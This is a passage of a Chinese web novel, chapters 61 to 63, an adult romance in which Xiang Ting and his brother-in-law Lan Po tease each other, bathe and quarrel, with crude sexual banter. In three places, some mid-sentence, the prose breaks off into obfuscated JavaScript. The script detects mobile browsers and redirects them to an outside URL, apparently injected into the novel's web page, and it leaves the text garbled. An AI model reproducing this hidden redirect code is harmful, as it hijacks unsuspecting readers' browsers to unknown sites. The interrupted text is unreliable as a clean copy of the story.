蓝珀两步便退到了墙角,可项廷什么也没做,好像只是怀着满心的恐惧,紧紧抱住蓝珀,生怕他会化蝶消失。他何曾想到他对蓝珀的感情,早已经在身体里有了根,生出了枝蔓,蔽日遮天,刚才居然会让他一时间忘记了尊严。何谓野性,何谓血性,何谓虎啸风生龙战于野的大丈夫之气?竟通通丢到了脖子后头。 蓝珀原本正抽着烟,开门只是惊了一下以后,也就微笑着旁观,悠悠然地品味着项廷的笨拙,毫无负担地讥笑了几句。项廷胸口剧烈地上下起伏,蓝珀夹烟的手却稳稳停在半空中,嫣红的烟头烫了一下项廷的头发,项廷也没有知趣地放开他,蓝珀似乎就一筹莫展地随他去了。 他是看项廷嘴上说了很懂事的话,做出来的小动作却无处不是一个顶顶的笨蛋,有种乱糟糟的可爱。在苗寨的时候,男孩不就是这样常常扭股糖似的粘着他,拿过他的一只手与他的合在一起,为他们的手掌差很多而不高兴,又淘气地用指尖戳着他手背上指根处的肉窝窝,最后崇拜地看着他仿佛在仰望观音么?姐姐打他屁屁他也不会反抗。要是后来没有走散,男孩说一句我是狗又算什么,都得伏地给自己这个圣女叩首呢。 “好了,好了。”蓝珀把手亲切地搭在他的肩膀上,竟摸到一手半干不湿的血,那一刻他五内如焚,可是表面做出来的样子却是打着哈气慢慢犯起困来。蓝珀一会儿把手插进他的衣服下摆,一会儿拉扯着想把他拽倒,项廷闷葫芦且木头人。 蓝珀就说:“你终于开窍了,当姐夫的狗多好嘛。狗一定是狗,人有时就真不是人,对不对?” 仿佛在提醒某人做下的畜生事。果然撼动了项廷,项廷把手松了,站直身体。 “坏狗狗,你是刚洗海澡上岸吗?”蓝珀把人拉到沙发,摁着坐下,然后拿了医疗箱来。 刚开始给他擦药,蓝珀还算得上殷勤细致,不过没坚持多久,蓝珀就不干了:“主人天天上班真的好累,举手这个高度已经开始帕金森了。自己来,好不好?” 项廷一声不吭地接过棉球和纱布,蓝珀忽的伸出指尖在他的鼻子上点了一小下。狗鼻子都是湿湿的,项廷的鼻子此时还透着小猪仔一样的淡红色,蓝珀两只手捧住他的脑袋晃荡晃荡:“全是水呢。”蓝珀逗着逗着不禁心花怒放,这么多年赚很多钱受无数罪,从未像这会儿无忧无虑过。可是见项廷眼皮肿得鼓鼓的,像被群殴了一样,蓝珀又多少实在笑不出一点来。 而且,感觉项廷从内而外快到了自尊心崩溃的边缘,搞不好他自尊心破裂的碎片要扎自己一脸,蓝珀打算暂时放他一马。 可是刚站起身,蓝珀又忍不住扯了扯项廷的耳朵:“昨天还是京爷呢,今天就是京巴了。” 凡做投资的都知道永远别赚最后一个硬币,蓝珀遇上项廷却往往把持不住,无法坚持这一份职业操守。他大概心里头真心不觉得自己总爱欺负弟弟。好吧!只是偶尔。经常偶尔。 果不其然又被反噬了。项廷一把拽住他的手腕,蓝珀吓得赶紧从桌上摸了一张塔罗牌,大仙贴黄符一样拍在项廷脸上:“对姐夫不好的人运势会越来越差!” “你想干什么,”项廷把牌摘下来,免不了又不小心地看到蓝珀,飞快地低下头,只盯着那张牌说,“你穿的什么。” 穿的绿缎洒金的旗袍,浮翠流丹,裾长堪堪过了膝,开叉极高,莲步悠然飘拂,九翘三弯,袅着细腰闪露出浑圆柔腴的大腿;这和那又厚又繁冗密封着上身的珍珠云肩、下摆上缀上三四寸长的凤尾蝶褶衣边、齐肘的白手套成为非常显明的对照,挽髻垂钗,俨然一位西洋型宫廷里的美/少/妇。 蓝珀完全不知似的任由他检视。耳环、项链、别针、手镯,他把自己披挂得锒铛作响,交叠的腿换了一下边儿就发出悦耳宜人的乐音,很不足为道地说:“因为正要去做点小祭拜呢。” 他搞的那套神经兮兮的九阴圣体理论很难与外人道,从来女为悦己者容,谁又会相信他馨香祷祝时每每打扮成女孩儿的模样,只是为了更高效率地与上界通灵呢。横竖项廷就很难信得过所谓的神还会是个正经的神,就当神明都为了他倾倒的时候。 有美玉于斯,整个房间充满了犹若仙境的柔光,怕是连一只蝴蝶飞进来也要走火入魔。项廷分明见他嘴唇在那里张动,却一点听不到蓝珀说了些什么。 过好一会儿,项廷才松过一口气来似的说:“我姐要来了。” 八成是找不到其他像样的理由了。 “来呀。但我要睡了,你留个门吧。”蓝珀依旧华艳而娉婷,他身上的绿根本不是颜料能调出来的,若无足以灼伤眼睛的雪白肌肤绝穿不了如此秾艳的绿。 项廷的意思是,你穿这个我姐能看吗,自认为比较迂回地说:“我姐睡哪?” 蓝珀眼睛一圆:“她是我老婆,你想睡我俩中间吗?” “你这不像……”项廷引用来美国之前姐姐的评价,“华尔街的成功人士。” 蓝珀吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398247|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊:“我老婆孩子热炕头还不成功吗?” 虽然残酷但这就是答案。项廷又柔性劝导:“小孩,会不会挺吵。” 蓝珀迷惑地看看他,反应了一下自己还有个儿子一样:“那你跟小孩睡一屋。” 项廷马马虎虎地抹了一把脸,然后就仰着坐在沙发上,把手盖着脸,再也拿不开了。 “想什么呢,怎么有你这种人,是心里面不健康吗?”蓝珀侧过身子,说着项廷黑心烂肺,伸手一轻一重戳戳的却是他的肚子。 项廷全身偏偏这里哪经得起碰,一不留神就收不住辔头,忙把蓝珀的手抓住。虽不敢看他的脸,手还是敢看的,项廷一眼只见到他指甲盖的白月牙几乎就没有,怎么能虚弱成这样子。项廷忙问:“你吃饭了吗?” “吃不下了,有点苦夏。”蓝珀烦恼地说着,手执一柄香扇,摇了一摇。 “想吃什么?我现在做。” “不吃了。姐夫呢,已经到了该注意三高的年龄了。” 项廷听着火上来了,他感觉蓝珀总强调自己年长,有种倚老卖老的嫌疑,总之非常瞧不起他。蓝珀估计也看出他不爽,便伸手摸了摸他的脸。项廷起初是抗拒的,很快不知怎么的蓝珀的手往左,他的脸就往左,蓝珀往右他就往右,蓝珀的手稍稍抬高一点,项廷的鼻子也就往上蹭到了蓝珀的手心。蓝珀收回了手,项廷初醒般看见蓝珀纷华靡丽的绸缎之下,是那宛似人鱼一般的曲线,摇动清波。 “‘哦’呀,你怎么不‘哦’了?”蓝珀笑得停不下来,半卧着微微弯了腰,旗袍的流苏缠在项廷的腿上了。 这下项廷的余光也避到旁边去了,可那珠光的旗袍灯下仍映得身形似乎分外娇小。 蓝珀不禁心眼又坏了:“还说不是我的小狗呢。” 项廷被他看得有点心虚虚的:“……是你太香了。” 蓝珀摸摸头,细声软语地安慰道:“还不都是你的。” 项廷只觉得自己心里这口粥,已经被蓝珀熬到冒不出泡来了,他必须找个地方消停一下这火候。 蓝珀含着笑看他逃到厨房,居然半天没想起来让他先去洗澡。好像蓝珀所有的标准都是为了不喜欢的人准备的,而项廷不讨厌的时候好像还挺讨人喜欢。青春阳气从他的肉/体散发出来,驱赶了蓝珀的愁云。况且项廷当狗当得越抑郁憋屈,看得到又摸不到,蓝珀便越觉得报了仇雪了耻。连他深深伤害过自己的事都变成了一桩笑料——小马拉大车,还不够好笑吗? 项廷正洗着手,忽然脖子上一凉,又一紧。 蓝珀哪弄的项圈,给他套牢了。 亦步亦趋,牵到浴室,蓝珀自己也进来了。在项廷不可名状的目光中,蓝珀一边收紧了狗绳,一边笑道:“鸳鸯浴,你不愿意?” 61. 冷云凉月助风骚 刚刚脱离处男行列的项廷哪里见识过这个,蓝珀的一颦一笑,那每一帧都在上乘,那意境掐得叫精巧,那美丽挑逗性极强,那狐媚对他来说太高级了。他如何知道怎么接招,如果这是场梦又该如何结束呢?梦醒了还能不能续上呢? 狼狈之下,项廷扯掉了脖子上的项圈,说:“你不养狗,这哪来的?” “轮不到你来左查右问,你没资格。”蓝珀虽然没有正面回答,但愉悦的嘴角已经出卖了他,“但我喜欢你的好奇心。” 项廷看了信心大残,立马把房子巡逻一遍,并没有同类。项廷就如被旋风卷到半空,找不到落脚的所在,前后茫然。问号像无数钟摆般左摇右敲,响起急促的声音,在他脑里。 终于,蓝珀优美动人地皱了一下眉:“何崇玉爱屯东西,实在没地方送了,最后总是落在我这里。” “谁?”项廷犹然不信。 “何崇玉。你现在给他打个电话,我不说话。” “串过供了!” 蓝珀啼笑皆非,处男真是麻烦,好爱胡思乱想,一天到晚纠结鸡毛蒜皮的东西,相处起来有点累。想到他俩利比亚战争般混乱的第一次,蓝珀叫得像杀鸡,项廷那叫没杀过鸡的连鸡翅膀都按不住,因为他比鸡都紧张。只会用蛮力而且特别喜欢掐脖子,又纯又猛但是三秒缴械,一个在上面的,他还好意思说坐下来都疼!你问他别的感受有没有,他形容不出那个脑髓被抽动的极乐体验,他说鼻子通气了,想哭。 “小鬼,你好像完全不记得给我添了多大的麻烦,连个像样的道歉的表示都没有,就问心无愧地查上我的岗来了。”蓝珀活生生给气笑了,“你可真是的。” 项廷自有一番道理:“我打给何崇玉,让他证明我的生日蛋糕就是你送的。还有书包,推荐信,全部都是你。” “不是。” “对质!” 蓝珀面不改色:“说破了大天也不是。” “为什么就是不承认,你对我这么好?” “好,好就在我好恨你,很恨很恨你。” 项廷盯着他,蓝珀那般美艳如此多娇的脸居然能挤出这么险恶的表情,牙齿咬得如同碎瓷片作响,真不像是装的。可他的话说得太满了,又让项廷有种信不了一点的感觉。 项廷笑了下:“那你最好时时刻刻都把尾巴藏好。” 蓝珀转过身进了浴室,对着镜子松了他的发髻。项廷跟上去,站在他身后,天花板的暖风吹弄蓝珀那长头发,毛茸茸地刺着项廷的耳根,巫山一段云,有一股腻香。 蓝珀取下步摇放进妆奁里,一边说着:“等会你可以主动问问你姐,我和她远隔重洋,经常为了说一句话过着昼夜颠倒的生活,但她可是对我的尾巴了若指掌呢。该主动的事你不主动,你究竟是狡猾呢,还是没出息?你自己说说看。” 项廷想跟他好好沟通,他总觉得两人之间不止一场误会,蓝珀的积恨必然有因吧。大家有话说开就好了,不至于在那兜圈子,不至于在那跟自己较劲。 可蓝珀真的不睬他,项廷只能扶着他的肩头试图把他扳过来。蓝珀那苏绣摸一摸就勾丝了,吃痛地叫了一声,面对面了,也不肯正视项廷。 都是光脚站着了,项廷比他高,蓝珀高兴不起来。当年的小土狗,蓝珀多少年了都觉得比纯的好看,透露着一股独特的委屈感。那赤裸幼稚的男孩子,天真未凿、不通世故,只会从姐姐的一个怀抱转到姐姐的另一个怀抱寻找着乳汁似的。长大一点了,就连族人写来的书信,他只要觉得是男生写的,就会夺走,不许姐姐看。现在呢,唉!毕竟大狗不像小狗好管了。 蓝珀说:“你再每个房间检查一次,看有什么用,要靠鼻子嗅。” “不用了,我信你。”项廷明明有话想说,又不知道时机是否合适,因为觉得他在蓝珀这儿的试错成本已经是零了,少说少错。 蓝珀听着就怪怪的,好像自己丧失了身为事主的话语权,还需要项廷体谅似的。架不住往项廷身上胡乱打了一下,正中伤口。 项廷嘶了一声,蓝珀神情陡变:“叫你别乱动!痛不痛?” 项廷看着他笑起来,蓝珀意识到中计了,忙用手绢按住他的两个眼睛,不许他再乱看。挡住了,仍然不堪其扰,蓝珀狠狠往他胸口拧了一下:“你个贱狗。” 想必项廷一辈子都适应不了这个,笑着牙还没收就被骂了,威迫的口吻马上来了:“差不多得了,会不会见好就收?” 蓝珀还想过过嘴瘾,可是项廷好像真的不喜欢,蓝珀都没法儿把他顺毛抹实了,又不肯服软,退而求其次地说:“你是乖狗。” 项廷忍不了:“非得带个狗?” “你不喜欢吗?” “换你你乐意吗?” “我会生气的,”蓝珀一副欲言又止的样子,一只手抚着自己的裙摆,一寸一寸地捋着,“但最让我生气的根本不是这种事情……” 说着,他不知为什么忽然低下头去,轻轻吸了两三下鼻子。 项廷被手绢挡着,什么也看不见,别提有多慌了:“啊,你别哭啊!” “哪哭了?”蓝珀把手绢移开,笑着点了点自己的鼻尖,“我就是气得人中痒痒的要长胡子了。” 让蓝珀好好说话就像要了他的命,项廷深受其害,违着心,板着脸说:“少来,我今天难受,你别招我。” “我可看不出你哪儿难受,招你怎么样?” “别问我。我控制不了,算你倒霉。” “多倒霉?你有狂犬病?叨我一口?” “别说了。” 蓝珀语气像个旧式的大家长:“我是你主人,说难听点我是你爸爸,叫爸爸。” 项廷笑了声,正要张嘴。蓝珀忽然聪明了,意识到他要喊什么,前车之鉴太多次。蓝珀忙堵住他的嘴,且给了一巴掌。 蓝珀继续一心收敛他的宝贝镜匣,但是多了项廷这一个人肉首饰收纳架。颗颗鸽子蛋大的双股澳白项链、清代老坑玻璃种的帝王绿手镯,珍珠皇后挂在项廷耳朵上,玉中之王则叼在他嘴里。 一开始项廷当然不配合,蓝珀就掐他的脸:“还以为自己是谁呢,狗还把骨气吊得高高的呢。” 蓝珀看着成品,心生欢喜,想到以前男孩捡些枝桠多的枯枝,回家找个瓶子插起来,然后就把少女的银饰银器一件件地无比珍重挂上去,入冬以后,他竟还猎回来几只鹿角。 蓝珀半生都在漂泊,可一个摆渡者竟然从来无法选择彼岸,结果是永世的徘徊。如果可以他真宁愿永不航出外面的世界去,蓝珀最渴求拥有一个永不失去的信物,真真正正地据为私有。 心晴的时候雨也是晴,看着被打扮得珠光宝气的项廷,蓝珀竟然情不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398248|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁地捧住他的脸:“我的狗狗,我的狗狗。” 项廷听了愤怒之余,也隐隐发现蓝珀每次忽如其来的煽情都带着点病态。他喜欢蓝珀有一部分因为蓝珀不一样,他很弱,他需要自己。这样的人鲜花一样,主人家但凡没有照顾到,鲜花离开水,立刻就不鲜艳了。项廷必不是反过来认蓝珀当主人来的。过惯了鼻孔辽天的日子,在北京他说东,就没人敢往西,来了美国他抱着屈一伸万的志向,心里却仍把自己看作宇宙中的上位种族。他最多能接受蓝珀是一种能量类生命,能吸干任何男性的任何能量,还能产生磁场和辐射侵蚀男人的精神和□□,他最少应该依附、寄生于自己,这才对头。可他只是脑子抽风了才说了一个狗字,蓝珀就把这个字冠冕堂皇当作了断句符号。但是怎么说,这又总比麦当劳总部楼下那天的没话讲确实强很多。 所以项廷努力权当没听到,心理上塞上耳朵。后面蓝珀说的他没听清,但是听着语调都是哄小孩的拟声词,催他脱了衣服洗澡。 “你家浴室好几个。”项廷按兵不动。 “就要跟你挤一个。” “……那你别看。” “姐夫不看。” “……我会看你。” 放好了水,蓝珀坐在浴缸边上舀着浴盐和浴油,笑了道:“我又不脱,我伺候你。” 项廷哪也不看,看哪都不对:“你会湿。” “你龌龌龊龊的。”蓝珀走过来,出人意外地没说什么呛人的责备话,只是手指勾住了项廷裤子上穿皮带的那个腰袢。 一米八多的大小伙子一拽就动了,可项廷到了浴缸边,还在抗争:“我现在不想洗……” “撒谎,”蓝珀把一个柴犬卡通靠垫放进浴缸,“狗狗都喜欢水。” 蓝珀家的浴室是一个纯银打造的堡垒,导致他的那个浴缸看着特别像一口油光水滑的大锅,水沸了,食材丢下去,等吃吧。 “大不了呢,我把眼睛闭上。”蓝珀貌似动了恻隐之心,“你真闹人,这样可以了吧。” 项廷利索得很,单手一把将上衣拉过头顶就拽掉了,但是脱裤子的时候他别扭地背了过去。 传来蹚水的声音,但是蓝珀还是闭着眼,像躲猫猫的时候问猫猫藏好了没有:“好了吗?” 浴室里飘满了令人心醉的甜香,蒸汽轻抚过蓝珀的脸颊,灯下金光之露闪亮欲滴。他只穿了一件肉色的衬裙,雪肤明霞千朵,菱唇艳泽有光,尤是他那颗圆润甜美的唇珠如同激丹,卖俏般的,羞人答答,任君采撷。 项廷越觉得燥热,就越想在周遭的世界把这份燥热揉搓开来,抖落下去。就这样,久久地注视着姐夫的颈项和侧脸,几乎停滞了心跳,数着自己的呼吸…… 好安静啊,真静。于是蓝珀等不及了睁开眼时,便见到一张放大数倍的脸,咫尺深渊! 吓得他哇的一声推开项廷。浴缸不大,但是浪大得如同项廷在坐跳楼机。蓝珀把他摁在水里毒打,但是也讲究方式方法,比如蓝珀抻着他受伤的那条胳膊绝不碰水,比如蓝珀捏住他的鼻子防止他呛水。暴揍了一顿,蓝珀开始莫须有地刷牙,明明没有亲到他,他好像心灵上就遭受了重创。刷完牙,继续体罚,孽海,翻起爱恨。项廷看似软不拉耷的任所欲为,实则用那个柴犬靠枕一直挡着腿那里。听蓝珀累得细喘微微,项廷更是不敢挪开一点半点了。 62. 瘦尽休将珠泪竭 “都是你不好!” …… “真叫人窝心呀!” …… 鸡飞狗跳。 项廷因亲亲未遂,挨打受骂了十分多钟。蓝珀的脑子,是一个谜,他好像觉得用来洗项廷的水,项廷在里面被打了,水就不干净了。因此又把项廷倒出来,换水,重新加料,总共折腾了快半个小时,他才开始像巫师调制魔药一般,双臂合抱着一根马卡龙色的超大号定制搅拌棒搅他这个坩埚一般的银缸,顺时针逆时针各六圈。 第一锅魔药配好了,蓝珀才关注到项廷。他觉得自己打人的力道刚刚好,懵乎但不伤脑,可项廷怎么死了都有一会了?戳一下,都凉了。 只有蓝珀作势要抢走他的靠枕时,项廷才有点还魂的迹象。 “我打疼你了?” “没吧。” “我吓着你了?” “不至于。” “那你装死,找死是吧?”蓝珀眼睛睁得滴溜圆,“姐夫既没有每天刷你12个小时,也没有开水烫你的小弟弟,我还一直想着沙浴很神奇,洗完你拎起来拍一拍会不会像沾了粉底的化妆棉,一拍就噗噗冒粉,姐夫都没有让你去沙子里滚好多圈,你有什么好不高兴的?” “不想讲话。” “有话要快讲,有噗噗要快放,再过几年你连噗噗的力气都没了。像姐夫一样老了,力气就像钞票,花花就少了一点呢。” 每次一说到年龄差,项廷就有种被人轻看了的不快,何况这个人还是自己的妞。蓝珀那口吻好像自己总比他矮两辈似的。 项廷说:“你能别动不动提钱吗?咱两之间是有什么话要说,不是有什么东西要卖。” “好吧。”蓝珀眨眨眼,“其实小伙子的力气是越用越多的,就像小妹妹的咪咪越摸越大。” 完全是个不在其位的对话。蓝珀一点也不生气,压根就没当回事。就像你一个人,跟狗置什么气呢。 项廷是真的火了,他突然悟了蓝珀有时候故意说的特别成人、甚至于恶俗的话,不是在对着他卖弄风骚,蓝珀就是纯纯逗小孩的恶趣味心态。他就是那种忒膈应人的亲戚,手贱,喜欢扒拉男宝宝的小鸡/鸡。这事越是早发生时呵止,效果越好,绝对是一次出招,一步到位。可要是作家长的不够严肃,或者家长本身也觉得因为这种小事跟他闹翻脸没有必要,下一次他就会呼朋引伴,大家围着掀开裤子看,戳几下,讨论是不是比上次胖了一点,这个抱一下,那个抱一下,传阅。虽然不可能从小摸到大,但蓝珀更恐怖,他像那种还想帮长大的宝宝洗屁股,换尿不湿,穿开裆裤的。 正这么想着,项廷听到令他内心穿云裂石的一声—— “宝宝?” 蓝珀不是看穿了他心里所想,他其实是接连着叫了别的很多称呼,项廷都沉浸在自己的世界里,没听到罢了。 项廷悚然:“还没发现问题所在就是你吗?” 蓝珀不大懂,望着他。 忽然,项廷凶戾地笑了,说:“力气?我都省着呢,只用在你身上。” 蓝珀一下就被他的话深深震动,再没有勇气反驳他似的了。 项廷却狠狠地笑出声来,乘胜追击:“还什么咪咪?中国话里有这个词儿吗?那玩意叫□□!跟着我念,奶/子!正儿八经的奶/子,女人的奶/子你见过吗?像柚子一样的大奶/子,还是像桃子一样的小奶/子?见过又摸过吗?摸过又亲过吗?亲过是什么感觉?亲过后是……” “闭嘴!” “这就叫上了,这么能叫,是不是天天找人叫?” “你、你个下流坯!” “呵,你看,我刚开讲你就受不了了。我说了,不是不想讲,就怕你不敢听,这下懂了?” 项廷自认为收妖成功,镇住了蓝珀。对付这种亲戚就要这么搞,他说看你牛牛,你得说我先看看你的,言出法随,一次治好! 蓝珀的影子在地面的银砖上拉得纤长,空气中只有泡沫碎掉细微的声音。焯了这遍水,兑好第二锅,摁下计时器,低温慢煮,蓝珀便出去了。本来忙忙叨叨的人,自始至终,雪落无声。 项廷背对着门,好一会不见蓝珀回来。水珠滴答的声音变得严酷,把项廷的心渐渐打成了马蜂窝。 他火大成这样,全是拜蓝珀所赐,因为他现在见到这个人就想发射。他妈的,这不是废了吗?以前北京城里最顶的妞,等等美名把她造成一个神,项廷见了招呼懒得打半个。兄弟们看得两眼发绿光,但女孩至多只给项廷一种大方但乏味的感觉。听说人家爹是北部战区海军司令员,项廷对她爹兴趣大过天,别人拜访将军是勾搭姑娘,他抱着盗版的图纸上门讨教,人家问生辰八字,他打听咱新中国到底啥时候能造上自己的航母? 所以他气的又不是蓝珀,多半是气他自个。一个男人连自己的□□都管不住,还能成什么事了?可是蓝珀都不在现场了,单单听到几声他正踩台阶的声音,项廷都想立马冲出去直接把他摁在楼梯上干了,屁股冒烟。爽完然后呢?然后门铃响了,门外不是他姐就是中情局的人,兴尽悲来。 项廷越想下去越是悔不该,蓝珀的脸皮子绢纸那样薄,他的心就跟一颗嫩豆子一样经不起锤打,他的贞姿不受霜雪侵,他生命的线儿细溜着,自己怎么可以用那么肮脏的话那么凶他?明明在外面他经常是门哑炮,懂得小不忍则乱大谋的道理,为什么回了家他的炮芯子就露天了,像地雷,蓝珀轻轻一踩就要炸,这不是窝里横吗?他又动辄忘记自己甲级战犯心里应当有愧,因为难道有钱不花,有好车不开,有好衣服不穿,有自己的妞放着不睡吗? 蓝珀回来了。 只见项廷把毛巾对折,把眼睛蒙了起来,后脑勺打了个巨大的死结。 蓝珀困惑道:“我有蒸汽眼罩,你要吗?” “不了,不了。”项廷抓着靠枕的手放松多了。 这招真好使。早不看蓝珀不就完事了,看什么看,白看,有道是撑死眼睛饿死?。 项廷惭愧无地:“我刚刚说话冲了点。” “你别说话了。” “对不起啊,我纯傻逼。” “叫你别说啦,”蓝珀一边加药,凝神观察着水面扩散开来的涟漪 ,“你扰动了我的法阵。” 项廷没词儿了,老实了一会,感觉蓝珀在那持续发力,释放魔力,直到溶液变得均一澄清。 “我不是要对你这个说三道四,”项廷小心道,“我就是请教一下你都往里加了什么。” 蓝珀拧开一个小罐子,让项廷自己蘸了一个指头,往水里化。 蓝珀说:“晶化蜂蜜。” 这已是最正常的东西了,项廷接着听到什么“狮鹫血”、“龙之泪”。 项廷想问这是真实存在的还只是个艺名,话到嘴边却咽了回去,说:“名字都好听,跟你很配。” “你又听不懂。”蓝珀淡淡嫌弃。 “你不是喜欢喊我狗吗,你也不能指望狗句句听得懂人话吧?” “你再也不是我的狗了。” 蓝珀平静之中带许多悲悯,项廷听了一时不敢接话,他怕蓝珀会接着抒情,数落自己的不是万剐千刀这都没什么,就怕蓝珀一激动说出非常不可挽回的话来。 冷处理不是办法,项廷听到蓝珀站起来了,他这下再出去还会回来吗? 水花四溅,项廷跌跄似的抓住了他的手:“我喜欢当狗你就让我当吧!” 何止什么拉不下来的脸都拉了,项廷感觉自己做男人的内核都被挖空了,现在就是一个软壳蛋,已经被蓝珀的柔婉蓝珀的幽怨腌制入味了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398249|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >良久,项廷要发霉了,才听到蓝珀约摸是嘁了一声。 盲人项廷:“你在笑,还是在哭?” “哪只耳朵听到我哭了?” “那你是在喝东西吗?” “嗯呢,”蓝珀轻轻咬着吸管,“补铁口服液。” “啊,你都被我气到吐血了!” 蓝珀重新坐了下来,抱着一箩筐的树脂动物玩偶,每个都很迷你,刚才没找到橡皮黄鸭子,他就把一只只小老虎、小狮子、小熊小兔子一字排开,摆在浴缸的边沿,洗澡伴侣列阵完毕,最后把一个狗尾巴草扎的小狗搁在项廷头上。 项廷以为是祭典上的贡品,纹丝不敢动:“这什么?” “你本人。” “你扎纸人诅咒我?” “……我真吐血了呀。去你的,去你的。” “收回,我收回!” “可我已经流眼泪了,”蓝珀揉了揉眼睛,分明是本意略带轻薄的一句笑语,他的声音却断断续续小了下去,“项廷,想到你我就总是流眼泪。” 项廷正上手摸着那些小玩具,感觉它们之中不仅有自然界的小动物,还有比较超自然的东西,他灵光一现。 项廷说:“别人叫淌眼泪,你叫泣珠。” “…说什么呢。” 项廷把他的手带过来,然后把小美人鱼的玩偶放在他的掌心。 这个比喻甚为恰当,蓝珀天天什么也不干就泡在池子里洗澡,而且他们鲛族不分男女,只有项廷这么想。 果然还没把他的手掌合拢,蓝珀就把小美人鱼掷水里去了。 项廷连忙说:“我收回!收回了啊。” 他赶紧去摸蓝珀的脸。蓝珀微腮薄脸,说白了就是一张脸没有二两肉,摸他的脸更准确叫握住他的脸,只用三分力气,蓝珀便是怎么扬也扬不开的。 “干什么呀?” “我摸摸你有没有哭。”项廷虽然蒙着眼,但是一眨不眨。 “一手上都是水,摸得到什么?” “摸到你眼睛好烫,你哭了。” 蓝珀望着他,一痴一醒,他太清楚自己不能太喜欢他了,不然恨算什么? “真没有哭,”蓝珀无动于衷似的,可是恍惚的一下一点心眼子都不带了,竟又说,“只是眼睛有点红。” 项廷敞快地笑了说:“就说你不是美人鱼,眼睛会变色,是波斯猫。” “……二皮脸。” 项廷凭着直觉:“那仰阿莎?” 蓝珀顿时面无人色:“不许你侮辱她。” 这时,蓝珀的手机响了。 项廷说:“你不接吗?” “我不看都知道是谁。” 项廷哦了一声:“别怕,有我呢。” 蓝珀特别想掐他,忍得辛苦没忍住,从脖子一路掐到手:“我最怕的就是你。” “你是怕我不来又怕我乱来。” “……满嘴鬼话,再胡说我不接了。” “那我接。” “你知道是谁?” “不我姐吗?” 蓝珀的无语又迈上了一个新高度:你偷情偷得这么优哉游哉,真的好吗? “小东西,还真把自己当一家之主了,真真的。” “你等着。”项廷笑了笑,“有你受的。” 蓝珀出去接电话之前,总还想再欺负一下项廷,可拧也拧遍了,便取走了项廷头顶的狗尾巴小狗惩罚他。 只这最后一个动作露了大破绽。项廷忽然倾身过来,啵,比心跳一下还短。 项廷竟还要把他往水里拽,蓝珀惊慌失措:“谁要跟你这个畜生淘一起……” 电话响铃越来越急促,蓝珀终于挣脱出来。项廷扯掉眼罩,只见蓝珀一抹倩影——他还是捂着那半边脸逃的。 63. 红弦袅云咽深思 项廷都打了个盹了,蓝珀还没回来。于是他草草擦干身体,披了浴袍,出了浴室。桌上的饭菜凉透了,是吃几口就怎么也吃不下了的样子。一支香水月季掉在地上,身首异处,看上去像刚从花园里掐的。 卧室的门半掩着,里头只亮着一盏杏红色的小夜灯。那锦帐罗帏用的是又飘逸又垂顺的重磅真丝,蓝珀枕着自己的手侧躺着,朴素无华釉面银砖的一张床给他睡成了贵妃榻。床上动物玩偶围了一圈,蓝珀在中间远看跟个小芭比似的。可鲜活的肉/体下,似乎有种死者才有的虚静之美。 项廷走过去,完全算不上轻手轻脚。刚坐到床边,蓝珀惊呼:“太恐怖了,心脏病都要被你吓出来了。” “你不是在生我的气吧。”项廷说的是刚刚在浴室偷香了他一口的事。 “……你又有理了?” “就是心里没底,觉得没理才问你。” 蓝珀偏偏又不理了,项廷便拿起那些棉质的玩偶,用小犀牛的角、小象的鼻子戳了戳。蓝珀躲上两下就累坏了似的,双颊一层薄涂淡淡的桃花粉,烦得受不了了,才语焉不详地说:“我特别记仇,有仇我当场就报了。” 说到这里,蓝珀突然拉起警戒,显然因为洗浴的十八道工序还没有走完一半,项廷便自作主张地出栏了,可蓝珀又没那个精神头把人摁回浴缸里去了。项廷也说:“再洗要泡发了。” 退一步,蓝珀打开抽屉取了一罐乳白色的药,项廷问什么,蓝珀说,止汗香膏。项廷眼见得非常不情愿,拉鸡/巴倒吧,这辈子没这么娘炮过,忙说:“我都搓起来咯吱咯吱的了!”蓝珀说:“你臭香臭香的。”项廷听他讲话调子一直往下降,降,像心里有事。有些人恐怕就是天生惹人怜惜,一看他就心里汪成一滩水,如何也凶不起来,项廷抵御不住伸出了胳膊,蓝珀越给他搽止汗的东西,他越是被自己娘得赧然汗下。 接着蓝珀又做了很多世之常人不能理解的刻板行为。他先是左手拉着项廷的手指,右手执一条篾片,一边不停地刮着手一边念着苗语。蓝珀又极擅吹叶子,他的双唇发出清而纯的塞音,曲毕又念云,收到东方邪魔鬼,邪魔小鬼化灰尘。项廷自知罪过罪过,但蓝珀这模样像要把他直接超度了。 蓝珀问:“这样疼不疼?这样呢?” 项廷直言:“你这个力气我真的会忍不住睡过去。” 